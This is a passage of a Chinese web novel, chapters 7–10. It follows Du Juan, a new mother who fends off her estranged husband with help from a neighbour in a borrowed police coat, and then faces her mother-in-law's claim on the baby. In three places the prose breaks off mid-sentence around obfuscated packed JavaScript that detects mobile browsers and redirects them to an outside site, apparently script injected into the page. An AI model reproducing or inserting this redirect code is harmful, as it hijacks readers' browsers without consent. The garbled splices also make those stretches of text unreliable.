敲门声越来越急促,越来越响,带着破罐破摔的怒气。 杜涓赶紧把里面这道门也关上,也不管什么声音大小了,再把门边的鞋架什么的一股脑堆在门后,能挡多久就是多久。 一切做完,她也没有什么体力了,甚至感觉腹部的刀口又开始隐隐作痛,只能听天由命地闭上眼。 谁知敲门声戛然停了,很久都没有再响起。 难道他突然良心发现,走了? 杜涓把耳朵贴在门上,听见张强没了气焰的声音:“对对,警察同志,我是她男人,你看我不是担心她出什么事吗……您别误会……” “可是我昨天听她的家人说,她已经离婚了?” 是杜涓没听过的另一个男声,操着一口字正腔圆的普通话。 7. 第 7 章 顶楼一般没什么外人会来,杜涓想,这应该就是隔壁那个热衷于振兴老工业基地的外来者了吧? 她拨开脚下杂乱堆着的东西,轻轻打开里侧的门,趴在猫眼上向外看,一眼看到张强变形的笑脸。 门外,张强陪着笑解释:“这不是还没离呢吗,对对对,我就是想挽回一下她……” 外来者披着又厚又重的警察制服大衣,皱起的眉头并没有舒展开:“这位同志,现在是晚上了,您叫门前是不是该考虑是否扰民?而且,您说一直都没人开门,这家主人应该并不在家吧。” 他的语速不疾不徐,普通话听起来很正式,很庄重,让张强的气焰迅速矮了下去。 张强偷眼看着他的身高——比自己高,身板——比自己壮,还有那身警号、徽章俱全的警察大衣,根本不敢硬气地说一句“关你屁事”,只能唯唯诺诺地低头:“警察同志,我看她家亮着灯呢,又没人应门……” 他突然想到了刚才那个理由,声音又高了起来:“万一,万一她出什么事了呢?警察同志,我实在是担心她,要不你帮我把门砸开吧?” 外来者听了张强的话,迅速在脑海里过着这家人的情况:产妇,独居,孤儿寡母…… 他实在也不能确定新邻居的安危,暗暗想着把这个男人劝走之后,要再敲门确认一下。 但当务之急是把这人哄走。昨天梁姨在去他家借电话时还嘱咐他,姑娘的前夫很不像话,她不在家时拜托他多照应。 外来者斟酌着说辞:“这位同志……” 话说到一半,那扇门“吱呀”一声开了。 杜涓披着棉衣,站在门后,一只手还紧紧捏着门把手:“张强,今天天晚了,民政局也下班了。等过几天我身体再恢复一点,就跟你去办离婚手续。” 她很烦躁,也很害怕,不想跟他产生任何联系。她总觉得,如果说上辈子妈妈是她不幸前半生和糟糕性格的直接来源,那爸爸才是那个更深层的诱因。 张强看着杜涓,却有些呆了。 才几天没见,她却好像清瘦了很多。淡淡的眉毛,没有血色的嘴唇,和平时他见惯的那个打扮得花枝招展的杜涓不太一样,却更加楚楚动人。 她的眉眼和之前并没有任何不同,但是她吐出的话却是他以前从来没体会过的冰冷。 张强的眼泪来得很快,他哽咽着说:“涓,我错了,我真不想跟你离婚,咱们好好过吧,啊?让我进去看一眼咱们姑娘,行吗?” 配合他无辜且湿润的双眼,还真是效果拔群——杜涓对他的话没有任何反应,只在心里暗暗地评判着他这番表演。 演技还不错,但她不想看。 她转转脖子,才注意到张强身后那个替她说话的外来者。 外来者这会儿抱着双臂,表情纠结,显然对突然被拉入邻居的家庭纠纷毫无准备。 但他没有走,还紧张地注意着张强的举动,怕张强做出什么伤害她的事情。 其实就是听见了他的话,杜涓才敢开门的。 她想,正义又乐于奉献的警察同志总不会坐视她被欺负的吧? 她感谢又抱歉地对警察点点头,然后无情地打断张强的施法:“我不会让你见女儿的。你还有事吗?没事你可以走了。” 张强错愕地看着杜涓,那个女人的视线曾经无时无刻不紧跟着他,而此时,却投向了他的身后。 “警察同志,如果他持续这样骚扰我,严重影响我的正常生活,我是不是可以告他?” “啊……”警察迟疑了一瞬,然后笃定地说:“可以,故意骚扰他人是违反治安管理处罚法的,严重的话会予以拘留。” 张强听见什么法什么拘留的,脑袋都成一团糨糊了。 他只知道自己不能进警察局,否则会留下案底不说,自己的工作也难保了。 毕竟车间主任还没有松口让他转正呢。 “警察同志,我一丁丁丁点骚扰的意思也没有,我就是来看看她,现在看到了我就放心了,你高抬贵手,高抬贵手。” 张强结巴着说完这串话,跌跌撞撞地下楼去了。 他不停地回着头,恋恋不舍地看着杜涓,脚步却不敢有半点停歇。 杜涓看得想笑。 楼道里咚咚的脚步声很快就消失了,杜涓郑重地向警察道谢:“警察同志,谢谢你。如果不是你来帮我解围,我还真不知道该怎么办。” 她的心脏还在砰砰地剧烈跳动,张强闯进来会干什么,她不敢想。 警察脸红红的,连忙摆手:“不用谢不用谢,同志,我刚才说了谎,你们还存续着婚姻关系,你是不能告他骚扰的。” 杜涓忍不住扑哧出声:“我知道,刚才这么问只是想震他一下,没想到他还真被吓走了。” 警察听了,挠了挠头,脸涨得更红了:“你真机智……不对……你真……” 他没了刚才盘问张强时的镇定,而有些局促。 他觉得不应该,都在杜鹃河工作了大半个月了,还没熟悉怎么用东北话真诚地夸人,这还怎么跟当地的群众打交道、混熟,怎么开展他想开展的工作? 然而嘴皮子却不听他使唤。 杜涓看出了这个年轻人的尴尬,他鬓角的发茬青青的,长长的睫毛不安地颤动着。 不知怎么的,她想起大学毕业时,拿着简历面对面试官的自己。 那时自己的脸也烫得不行,还没说两句就被语速飞快的面试官礼貌而冷漠地请出了面试间。 她恻隐之心顿生:“还没吃饭呢吧?进屋吧,正好我妈做的饭,我一顿也吃不完。” 警察想拒绝,但他的脚已经跟着杜涓迈了进去,他忍不住一边走一边掐自己大腿。 怎么就管不住自己的腿呢? 好后悔,但是怎么办,后悔也没用了,就当是了解一下当地居民的居住情况吧。 他暗暗地安慰着自己。 直到他坐在饭厅里的凳子上,一颗心才从云端坠回了实处。 面前很快就摆上了饭菜,杜涓回身进了卧室,不知道去干什么。 他打量着这方小小的天地,饭厅也充当客厅,一端连着厨房,除了灶台上几样必要的厨具,说是家徒四壁也不为过。 面前一张简易木桌擦得干干净净,上面摆着一盆大骨豆腐汤,一碟炒鸡蛋和一个电饭锅内胆,里面盛着的红枣粥还冒着热气。 杜涓抱着孩子回来了,有些不好意思:“因为我坐月子,这饭菜都没放什么盐,你凑合一下吧?” 她也有点懵,刚才只是顺口的礼貌邀请,没想到男人立刻跟了进来。 这会儿两人同处一个密闭空间,她才觉得有些不妥,所以才把女儿抱了出来。 然而抱着女儿她又没法给人让菜、自己吃饭,好像场面更加奇怪了。 杜涓知道自己应该牵着女儿的小手说“快说谢谢警察叔叔”打破这尴尬的场面,但是她说不出口。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543819|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她只好说:“警察同志你自己盛吧,我空不出手。” 警察一边依令盛了半碗粥,一边快速解释:“别叫我警察同志了,其实我不是警察,这身制服是今天和我一起办公的公安局同志借给我的。” 他有些赧然:“没想到这边十月份就这么冷了……我没看天气预报,今天穿衬衫出门,晚上要下班的时候,冷得不行。” 杜鹃很能理解,她也是上大学的时候才知道东北之外的地方,十一假期的时候有时甚至还能穿短袖衫的。 她打圆场说:“那得谢谢那位同志了,多亏他这身制服才吓走了那个傻子。” 男人也笑:“是我狐假虎威了。” 说完他就后悔了,他今天在陪领导调研的时候还被领导批评,不要老掉书袋,能不用成语就少用,华丽的辞藻只会让在林场干了一辈子活的老百姓云里雾里,拉远和他们之间的距离。 然而他却看见对面的女孩子笑了,笑得眼睛弯弯。 “你这么老实,一点儿也不像狐狸呀。” 这个不怎么好笑的回答让他也笑了起来,蓦然感觉轻松了不少。 他想,用不用成语的,也得变通,不能一杆子全否定。 “我姓谢,叫谢广乾,加工厂的谢万福是我叔叔。我现在在市委工作,是大学毕业服从分配来的。” 他认真地介绍着自己,却看见她的眼睛在听到自己的名字之后,就又眯得弯弯。 “你是不是有个弟弟?” 杜涓一时心直口快,话一出口,就想咬自己的舌头。 真是太不礼貌了,怎么能为一个有趣的念头就随便问这种让人摸不着头脑的问题呢。 谢广乾却没觉得冒犯,他有些惊奇地回答:“你怎么知道?我弟弟叫谢广坤,现在在北京念初中呢。” 果然。 杜涓嘴角抽动,可怜的弟弟啊,他还不知道,再过十年他的名字就会因为一部乡村喜剧火遍大江南北。 谢广乾看杜涓想事想得出神,就低下头,一点一点地慢慢啜着粥。 真好喝,粥并不很甜,却有浓郁的红枣香气,喝下去感觉浑身都热乎乎的,就像记忆中曾经有过的味道。 他夹了一筷子豆腐,咬下去就被里面包着的热汤烫得“嘶”一声。 杜涓看见了,连忙说:“快吐出来,别烫坏了舌头,这冻豆腐最不容易凉了。” 谢广乾摇摇头,忍着烫两口咽下,又把粥喝得一滴不剩。 他站起身来,看见杜涓还一口没吃,就没有收桌上的东西,只是把自己用过的碗筷放进水槽。 “谢谢你的款待,我回去了,如果再有什么事情,你尽管叫我。” 他看见杜涓苍白脸上的一抹倦色,越发觉得不该来蹭这莫名其妙的一顿饭。 杜涓也抱着女儿站起来送他:“该是我谢谢你才对,今天真是麻烦你了。” “没有没有。”谢广乾又客气一番,“快吃饭吧。” 他跨出杜涓空旷而温暖的住所,看着她从里面把门掩好,才在衣兜里翻找着钥匙。 心里有微微的遗憾,自我介绍时她没头没脑地问他弟弟,让他忘了问她的名字。 杜涓回到饭厅,先把女儿喂饱了,才动筷子吃饭。砂锅盛着的汤还热着,平盘里的炒鸡蛋已经半凉了。 她两辈子第一次独自和陌生人进行这种非必要社交,觉得很疲倦,但还是为了女儿的饮食健康,喝了满满一碗粥。 8. 第 8 章 梁凤至下午回到家的时候,杜涓还在沉沉地睡着。 昨天半夜女儿吃饭和排泄交替进行,频率几乎是一小时一次,好不容易消停一会儿,暖气管道又开始哗啦啦地注水,让杜涓一宿都没睡好。 梁凤至在门口看了看依偎在一起睡得正香的母女俩,没去打扰她们,走到饭厅开始做家务。 她看见水槽里摞在一起的几副碗筷,挑了挑眉毛。 等杜涓醒了,梁凤至递给她一个苹果:“老人家灵前的供果,我特意拿回来的,吃了能长寿。” 杜涓接了,“咔嚓”咬下一口,然后才想起来问:“我现在能吃这个吗?” “吃吧吃吧,没听说哪家产妇因为吃苹果住医院的。” 梁凤至又用手指沾了点果泥,给婴儿舔了尝尝味。 “一生平安,福寿绵延哪!” 杜涓没有阻止她,意犹未尽地啃完一整个又脆又甜的大苹果,有点不好意思地问:“妈,还有吃的吗?我好饿啊,一天没吃东西了。” 梁凤至听得眉毛都要立起来了:“你早晨没吃饭?” 看到杜涓点头,她真是气不打一处来:“你不注意自己的身体,也想想你姑娘啊!” 还没等杜涓辩解自己一整天不是在喂奶、换尿布就是在昏睡,梁凤至就起身去饭厅给她热吃的了,菜板子被她剁得“梆梆”响。 杜涓理亏地吐了吐舌头,继续看睡前放在手边的,从书柜里扒拉出来的《新手妈妈育儿指南》。 谢广乾骑着自行车回家,心情有些郁闷。 手头需要整理的文件资料直到下班的时间都还是一团乱麻。他伏案写着调研报告的时候,领导过来敲了敲他的桌子:“走吧,明天再弄。” 谢广乾刚有了点思路,想要写完再走,领导却满不在乎地把他拉出了办公室:“你是不是傻?这些都不着急,下班了下班了,我要锁门了。” 每天增加的工作这样日复一日地堆积下去,越来越难以处理。谢广乾暗暗决定明天要把材料拿回家里写,却又被领导拽着去了单位附近的小饭馆,一边跟领导推杯换盏,一边忧心着工作。 最后还是他付的账,他不至于这点眼力见都没有。 直到他骑上车,杜鹃河晚间瑟瑟的寒风吹在他脸上,他才觉得灵台清明了些。 他特意打报告来这里,不是为了上班给人倒茶,下班陪人喝酒的。 他的工作,就是说话给杜鹃河的市民听,让他们明白每一个政策、每一个决定背后的苦心。可是谢广乾说话,办公室里没人会听。 谢广乾在小区的信箱门口停下车,取走自己每天订的《杜鹃河晚报》。正要离开的时候,他发现自己的信箱旁边,标着702的小门半开着。 他打开702信箱,取出里面的一封信和几张明信片,准备顺便捎给隔壁那个不便出门的女邻居。 他单手扶着自行车,低头就着路灯的光看牛皮纸上的信息。 “杜涓”,这是她的名字吗? 谢广乾把自行车搬到二楼半的楼道里防止丢失,三步并作两步上了楼。 他轻轻敲了三下门,门很快就开了。 梁凤至一手还拿着锅铲:“小谢啊,快进来快进来!” 谢广乾闻到家常晚餐的鲜香味道,刚才没吃多少东西却灌了不少酒的胃隐隐有些作痛。 但他生怕梁凤至再留他吃饭,连忙说:“我不进去了,阿姨,没什么大事,就是我取信的时候看到你们也有信,就顺便捎过来。” “谢谢啊!真是麻烦你了,还特意帮我们带上来了。”梁凤至从谢广乾手中接过那沓信件,低头看了看,微不可察地皱了皱眉,“还有昨天也谢谢你了,小涓都跟我说了,真是怪吓人的,幸好有你帮忙。” 谢广乾连忙摇头:“不客气,不是……是昨天你们留我吃饭,我应该谢谢你们才对。” 梁凤至看着他急红的脸,了然他并不擅长与人交际,却还在努力又笨拙地道谢。 她不再和他说车轱辘话,笑着阻止他转身回家:“你等会啊,我还有点别的事找你。” 什么事?谢广乾一头雾水地站在门口傻等着。 片刻后,他端着满满一碗炖牛肉小心翼翼地开门,再把它放在餐桌上。 还是被投喂了…… 他直接就着碗沿喝了一大口汤,这次的菜里放足了盐,还有胡椒粉,一阵暖意融融的辛香让他忍不住擦了擦鼻子。 就像这碗菜一样,他的新邻居的热情,让他招架不住,却又觉得热乎乎的。 一墙之隔,杜涓喝着清汤,小声抱怨:“一点味都没有。” 梁凤至懒得理她,低头看着信封:“张强写的。没有邮票,估计是直接放在信箱里的。你看不看?” 杜涓没兴趣,用筷子扒拉着碗里的牛肉,“我不看,你看吧,不想看扔了也行。” “别扔啊,你不想看我还想看呢!” 梁凤至说完,拆开信封就念:“杜涓五妻……什么意思,你排五号啊?” 杜涓空耳倒是听明白了,“吾妻吧。” 梁凤至笑完接着念:“杜涓吾妻,我想你,每次想你时,天边留下一粒沙,从此形成撒哈拉……” “打住!”杜涓听得更倒胃口了,“说重点!” 梁凤至一目十行地扫过信纸,“张强他妈问你孩子的名起没起好,还有……他的存折落在你放磁带的那个抽屉里了……他说他不敢来看你,还让你给他送过去……” 她饶有兴致地看着杜涓:“昨天你们到底怎么吓唬他了?” 杜涓觉得头疼:“我不都说了吗,就是隔壁那个邻居小哥正好穿着一身警服……你也知道,张强那人,最怕警察了。” 她想起上辈子爸爸有一次把别人停在路边的车刮了,那次他在家躲了足足两个礼拜,连哥们请他吃饭都不去了。 后来连妈妈都觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543820|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无语了:“你爸还像小孩似的,怕警察,怕警车。” 梁凤至听得摇头:“不做亏心事,不怕鬼敲门……算了,我去看看,到底什么存折。” 她起身拉开书柜下侧的抽屉,那里面装的全是流行歌磁带,以前张强和杜涓都爱听。 梁凤至很快就找到了存折,她转过身跟杜涓展示存折……上面的磁带:“巧不巧,正好是《热情的沙漠》!” 杜涓无语:“拿过来我看看,什么存折让他肯写封信来管我要?” 梁凤至先看了,看得发笑:“他千算万算啊,什么都搬走了,居然把自己的工资折落下了!” 杜涓也愉快地笑了:“这下不怕他不跟我离婚了。” 虽然存折好像是可以补办的,但她才不会告诉张强呢。 说话间,杜涓喝完了汤,喂饱了女儿,倚在床头看刚收到的几封明信片。 说实话上辈子她不记得妈妈有什么朋友,还会给她寄明信片这种复古浪漫的玩意儿。 明信片一看就是在景区买的,上面印着蓝天白云和不同景点的正门。杜涓翻到后头,是一些今天去了哪、明天要去哪之类的流水账游记,语气很熟稔,落款是刘丽丽。 “丽丽”这名字像个指引,她想起来了。 妈妈的确曾经有过一个叫“丽丽”的朋友,张晓风小时曾见过几次,每次妈妈都让她叫她“丽丽姨”。 这位丽丽姨好像并不长住在杜鹃河,但是每次回来,都会来自己家吃饭,妈妈会给她做上一桌子好菜,还会去排队买百货商店门口那家烧鸡。 所以张晓风很喜欢丽丽姨,每次她的出现就像是烧鸡的预告。 除此之外,丽丽姨也经常送书给张晓风,张晓风那被《作文大全》浸泡着的童年里,少有的几本有趣课外读物,都是丽丽姨送的。 像那本《鲁滨逊漂流记》,她都快能倒背如流了。 然而张晓风印象最深刻的,是她刚上小学的那一年,周末和妈妈一起去文具店买铅笔。 在路上妈妈碰到了一个老同学,寒暄的时候,妈妈问那人“最近丽丽给你写信了吗?” 那个同学很惊讶:“你还不知道吗?刘丽丽死了啊。” 张晓风记得,妈妈当即在人来人往的街道上,蹲在地上嚎啕痛哭。 那是她见过的妈妈最狼狈、最失态的样子,所以印象极其深刻。 但当时她还太小,不懂这种突如其来的消息意味着什么,过后也就把妈妈再未提起过的这桩事忘记了。 直到这会儿回忆起来,她才明白。 刘丽丽应该是妈妈重要的,可能还是唯一的,朋友。 但是妈妈是她的最重要的朋友吗?她去世的原因又是什么呢? 这些问题都已经没有办法查证。 总之刘丽丽现在还活着,正在黄金周假期的长城上跟游客们挤得汗流浃背。 杜涓捏紧了手中的明信片。 9. 第 9 章 为了给刘丽丽回信,杜涓在几天内翻完了原身留下来的所有日记,却还是没有半点头绪。 原因无他,只是这位70后文艺青年的日记太过于意识流了,除了日常记录开支之外,就是“今夜无眠,思绪万千”“昨日之事萦绕在心头,久久难以忘怀”之类没有任何信息量的大段抒情。 昨日什么事啊?今夜又为啥睡不着啊?你倒是记清楚啊?! 杜涓对着日记本无能狂怒,咬着笔杆,半天还是不知道从何下笔。 她又看看手边的铁皮饼干盒,那里面装着杜涓以前收到的信件。刘丽丽寄给她的明信片也没头没尾的,要么是游记,要么是一段洋溢着希望的摘抄。 她觉得看这些东西跟看自己小时候的□□空间留言板差不多。 纠结了半天,杜涓决定破罐破摔,她模仿日记本上的文风简单地写了写自己生产后这几天的心情。 “原来成为母亲后竟有万般感慨,为文字所难以记述。” 她摇了摇头,真酸。把信纸折起来,再在信封上的地址栏里填上刘丽丽留下的地址。 就这样吧。 她喊梁凤至:“妈,明天帮我把这封信扔邮筒里呗?” “什么?”梁凤至正在厨房做菜,没听清,进卧室才看到杜涓手里举着的牛皮纸信封。 她露出诧异的表情,接过信封看了看,“你都没贴邮票!” 杜涓:…… 其实这是她两辈子头一回寄信来着,忘了还有贴邮票这回事也情有可原吧? “你放在桌子上吧,我明天帮你寄了。” 把信封抛回给杜涓,梁凤至潇洒地又回去做饭了。 两人刚吃完饭,还没收拾餐桌,就有不速之客来访。 母女俩坐在饭桌的同侧,看着对面不停地用手抓着炸肉段吃的张强他妈,都觉得无话可说。 然而再不说话,炸肉段就要见底了。梁凤至无奈开口:“大晚上的,你来有啥事啊?” “嘘——”张强妈贼溜溜地环视一圈,“亲家母,你还不知道呢吧,咱们这栋楼里有条子!” 一句话有不止三个槽点,杜涓和梁凤至对视一眼,默契地决定不跟傻子较真:“我们知道啊,有个邻居是警察,怎么了?” 隔壁邻居其实只是碰巧穿了件警服的事,也没必要跟张强妈细说。 “亲家母,我是为你们好啊!咱们杜鹃河的警察真不是东西,比二流子还二流子呢!” 杜涓不明白张强妈何出此言,但也懒得问,更懒得纠正她的偏见,“姨,你特意来一趟就为了这事啊?” “不是不是!”张强妈一拍脑袋,想起什么似的从裤兜里掏出张纸条,“我特意找算卦的半仙,给我大孙女起了几个名,你们挑一个?” 杜涓迟疑了一下,张强妈已经把纸条塞进她手里了,上面并排列着三个名字。 张引娣、张胜男、张小峰。 杜涓:…… 好像知道为什么自己会叫张晓风了。 张强妈看对面母女两人盯着纸条久久不语,指着最后一个名字解释道:“我特意让半仙看了这孩子的八字,说是命里水太旺了,非得用土压压才行。山峰的峰,土够多了吧?” 杜涓把纸条推回张强妈那侧:“姨,我知道了,谢谢你费心,但是我跟张强都要离婚了,也不打算让孩子姓张了。” “啥?”张强妈觉得匪夷所思,孩子不跟爹姓,难道跟姥姥姓吗? “孩子姓张那是天经地义,不姓张姓啥?我跟你说,你别整那没用的,别说现在只是吵吵着要离婚,就算真离了,孩子也是我们老张家的孩子。正好,我还没来得及说,我今天还要把我大孙女接回去呢!” “啥?” 杜涓拍案而起,一副“你敢接我就跟你拼命”的样子。 张强妈没料到杜涓反应这么大,反射性地缩了下脖子,但很快又反应过来,自己又没错,有啥可怕的? “我们老张家的种,那肯定得我们经管啊,哪能让她流落在外啊?再说了,孩子没爹,那不招人笑话?” 杜涓听了,气得发抖,张强妈指着她鼻子骂她不要脸的时候,她都没这么生气。 一想到小小软软的女儿要从她身边被抱走,尽管是八字还没一撇的事,她都觉得血液冲上头顶。 “老张家的种?种子种在地里,你是管浇水了,还是管育苗了?还得跟你家姓,你家是有遗产要接手还是有皇位要继承啊?你……” 你不可理喻! 杜涓有一堆话想骂,直急得舌头打结,忽然觉得一只温暖的手在桌下拉住了自己冰凉的手。 梁凤至不疾不徐地开口说:“照理说,孩子的抚养权咱们对半劈,谁都有机会,是不是?但是自己家孩子,肯定都心疼,我们是打定主意要让孩子受精英教育了,不说别的,就学费怎么也得个一二十万吧?还有嫁妆什么的……富养姑娘穷养儿,不能让孩子受委屈不是?你们要是也能开出差不多的条件,那咱们就商量商量。” 杜涓听着梁凤至有条有理的话,立刻明白了她的意思。 稍微压下了自己的急躁,她也跟着开口:“对,你要是同意,咱们白纸黑字签个合同,我们也安心,你也放心。” 张强妈在听到“一二十万”时,叉着腰的两手就慢慢放了下来。 她想了半天才开口:“一二十万是所有学费啊?” “一年。”杜涓和梁凤至异口同声,说完忍不住相视一笑。 杜涓又补充:“孩子怎么也得念完六年小学,四年初中……” 还没说到高中大学研究生,张强妈就连连摆手:“疯了,你们真是疯了!姑娘就是个赔钱货,你们倒好,倒往里添钱!我们可没有你们家那么趁,你们爱养自己养去吧!” 杜涓就知道,张强他们家也没多想要回孩子,他们只是不想被别人笑话不养亲女儿/孙女罢了。 就像现在的张强妈,给她个“富养”的理由,她就立刻知难而退了。 没准还会跟好奇情况的亲友说:“她们家非得要几十万,这我可真不是不想养啊,但是这些钱我真出不起!” “我们乐意!”杜涓轻松加愉快地说。 张强妈却不作声了,只是默默地打量着这间不大却方方正正的饭厅。 张强结婚的时候她第一次来这里,只觉得墙又白,楼又高,地方又宽敞,她这个儿媳妇真是讨对了。那时她在这里住了整整一个礼拜,张强都住够了,她还没住够。 但是这会儿,她觉得这房子也不是很大嘛!儿媳妇又不省心,她们家还好几代都只能生出姑娘,没准就是这儿风水不好。 事儿还不少,她都为了礼义廉耻牺牲了那么多,都主动说要养那个赔钱货了,她们还不识相。 当谁稀罕呢!这亲家不要就不要,下一个更好! 张强妈说服了自己,突然就觉得轻松了,已经开始展望未来了。 她站起来……又立刻坐了回去。 张强妈的剧本不是这样写的。 她本来设想的是,特意去找算命的给孩子起了名,杜涓肯定感动了,再一说要把孙女接过去,梁凤至也感动了,这时候再一说把落在这里的存折顺便取回去,她们一家肯定不计他们搬走家里所有大件的前嫌,把存折双手奉上了! 现在前两步都偏离了张强妈设想的轨道,但第三步又不能不做。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15543821|171115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都怪张强那个没长脑子的家伙,就算忘了自己叫啥,张强妈都不会搬家时忘了存折! 不过杜涓应该不知道张强把存折藏在哪儿了吧? 张强妈当然不知道自己儿子给杜涓写的那封情意绵绵的求和信里还画蛇添足地招了落下存折的事。 看着梁凤至都要站起来捡桌子刷碗了,她心一横,直接闯进了卧室。 “我儿子想要几盘磁带,他说他想听歌了。” 反正这个房子里的每一个抽屉曾经装着什么,她都门儿清。 杜涓在张强妈进卧室的那一刻就跟着扑了进去,她还以为她要变卦硬抱走孩子。 不过听了张强妈蹩脚的理由之后,杜涓立刻就明白了她的目的。 她放缓脚步,护在床上的女儿前头。 后者在片刻前刚刚吃饱,正在呼呼大睡,丝毫没被突然闯进来的小老太太吵到。 张强妈目标明确地打开书柜下的抽屉翻找着,越翻脸越绿。 杜涓看得好笑,怎么可能把存折放在原处等她找! 半晌,张强妈讪讪地直起腰来,小声嘟囔道:“我放在这儿的东西怎么没了……” “什么东西?磁带吗?"杜涓气定神闲。 "张强应该把能搬走的东西都搬走了啊,咋还能没呢?是不是他把什么东西背着你藏起来了呀?” 张强妈听了,眼神游移了一下,嘴硬说:“我儿子才不干那缺德事呢!” 但她犹犹豫豫的语气已经告诉杜涓,她把这话听进去了。 杜涓没想到随口一说,还能有离间计的效果。 正好女儿醒了,在床上“啊啊”叫着吸引人的注意,杜涓便借机逐客:“我姑娘怕生,就不留你了啊!” 被杜涓推出大门,张强妈才反应过来:“我是她亲奶奶!她怕个屁的生!” 然而身后的门早就关上了。她只得怒气冲冲地下楼,一边下楼一边想着自己悄不作声地就藏起了工资折的儿子,感觉火气更大了。 回到张强新租住的楼房,张强妈就跟他发起脾气来。 “好啊,怪不得你死活不自己去要存折呢,非得让我这老胳膊老腿的爬他们家的破七楼,还碰了一鼻子灰!你花钱大手大脚的,心里没个算计,妈不过是替你管着存折,你想要回去就跟妈说呗,你还骗我说存折落在别人家了!强啊,妈的心都被你伤透了……” 张强还没来得及问他妈怎么没把孩子抱回来,就被劈头盖脸一顿怒吼,等他终于反应过来他妈在说啥,张强妈都开始用袖子抹眼泪了。 “我又没个正式工作,费了多大劲才把你姐跟你拉扯大,你现在长大了,翅膀硬了,不想要老妈了……” “妈,妈!你先冷静点!”张强把自家老妈扶到实木的大圈椅上,那是他前几天刚从杜涓家搬回来的,“天地良心啊,我真没藏什么存折,真是不小心落下了,就在那个书架抽匣里,当时搬家的时候我寻思那些书都不是啥有用的东西,就根本没翻。” 他全力运转着他那不怎么灵光的脑筋:“对了,是不是让那小娘们藏起来了啊?我前几天写信管她要来着,她也没还给我。” “什么?!” 张强妈听到前半句,拍着椅子扶手想骂杜涓,听到后半句,只能把话咽回去,为自家儿子令人捉急的智商叹口气。 “好么容样的,你告诉她干啥!哎,我真是不知道怎么说你,赶紧离婚吧,你就算再长十个心眼,你都整不过人家!” 张强听了老妈的话,想着最初相遇的那个星星眼的杜涓,和最后一次见面那个冷淡而决绝的杜涓,捂着脸蹲在了地上。 “妈,我还是不想跟杜涓就这么完了。” 10. 第 10 章 张强妈看着消沉又颓废的儿子,气不打一处来。 “你咋越来越回旋了呢?跟杜涓结婚的时候,你还说就是为了孩子才结婚的,现在她根本就不想跟你过了,连孩子都不让你见,你不离婚,还想咋的?” 张强也回想起了决定跟杜涓结婚的那段日子。 其实那时他对杜涓就有些不耐烦了,她老是跟在他身后,讲些诗词歌赋风花雪月的,他没兴趣听也听不太懂,又碍于面子不想告诉她,只能装作跟她志趣相投。 她柔柔弱弱的,什么都顺从他,唯有在孩子的问题上固执己见。 “强,这是咱们俩的孩子啊,以后肯定长一双像你一样的大眼睛,聪明可爱,虎头虎脑的,你忍心把它杀掉吗?” 她楚楚可怜的眼睛盯着他,他就忍不住心软了。 “那就结婚吧。”他咬咬牙说。 她的眼睛瞬间亮了起来,想扑上来却又忍住了。 他伸手把她笼在怀里,下巴搁在她的肩膀上,越过她看着远方漆成红白两色的大烟囱。 结婚吧,跟加工厂最漂亮的女同志闪婚,在哥们面前多有面儿啊! 再说了,她家的楼房,他去过几次就再也不愿住回自己家连室内厕所都没有的平房了。 就是她太黏人。 没关系,男主外女主内,他在外面忙着挣钱,她那温柔安静的性子,也不会说什么的。 果然如他所想,这半年他在外头跟哥们喝酒,和情人相会,只要回家跟她说工作忙,她都毫不怀疑。 还会眼睛亮晶晶地夸他,给他做好吃的,念什么什么慕容的散文给他听。 虽然他觉得如果不念散文,让他安静地睡一会儿会更好,但是温香软玉在侧,说出去谁不羡慕呢。 他越来越飘了,在休息日也敢约二车间新来的“小辣椒”王桂娥逛公园。 小辣椒脾气爆啊,在公园里当着那么多人,也敢大声跟他拌嘴,和杜涓的性格截然相反,反倒让他觉得新鲜刺激。 后来他把小辣椒拽到招待所,她的脾气也不爆了。 一番酣畅后,他们出门时不巧,在招待所门口遇到了挺着肚子,提着菜篮子的杜涓。 小辣椒弄明白了怎么回事,当即照脸给了他一巴掌:“你有老婆,还干这种事,你是王八蛋!” 他确实没有告诉过小辣椒他已经结婚了,因为他总觉得自己还是那个自由的未婚青年。 杜涓太震惊难过了,一迈步就绊倒了自己。小辣椒扶着杜涓,又拖着她去公共电话亭打电话,张强想过去帮忙,双脚却像粘在了地上一样,动弹不得。 他觉得那个大腹便便的女人很陌生,她蜡黄浮肿的脸没有一丝美感。 他恍惚了,这个人就是他的妻子吗? 可是后来妈妈听说了这件事,一定要他去赔礼道歉,挽回杜涓。 妈妈说:“你给她跪下都不稀奇,人家死心塌地地嫁给你,房子也陪送了,孩子都有了,你说不过就不过了?” 他很孝顺,即使心里抵触也听从妈妈的话,去医院见了杜涓。 